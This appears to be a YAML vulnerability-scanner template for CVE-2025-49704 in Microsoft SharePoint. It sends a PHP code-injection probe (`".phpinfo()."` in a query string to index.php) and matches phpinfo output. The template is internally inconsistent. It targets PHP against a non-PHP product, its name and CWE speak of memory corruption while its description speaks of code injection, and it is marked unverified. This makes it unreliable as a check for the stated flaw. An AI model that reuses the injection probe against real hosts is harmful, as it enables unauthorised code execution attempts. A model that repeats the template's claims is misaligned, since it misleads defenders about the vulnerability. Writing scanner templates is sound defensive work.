id: CVE-2025-49704

info:
  name: "Microsoft Office SharePoint - Memory Corruption"
  author: vedas-arpsyndicate
  severity: high
  description: |
    Improper control of generation of code ('code injection') in Microsoft Office SharePoint allows an authorized
    attacker to execute code over a network.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-49704&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=sharepoint&match=exact
  classification:
    cvss-score: 8.8
    cve-id: CVE-2025-49704
    cwe-id: CWE-119
  metadata:
    verified: false
    max-request: 1
  tags: cve,cve2025,sharepoint,phpinfo

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?x=%22.phpinfo().%22"
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<title>phpinfo()"
          - "PHP Version"
        condition: or
      - type: status
        status:
          - 200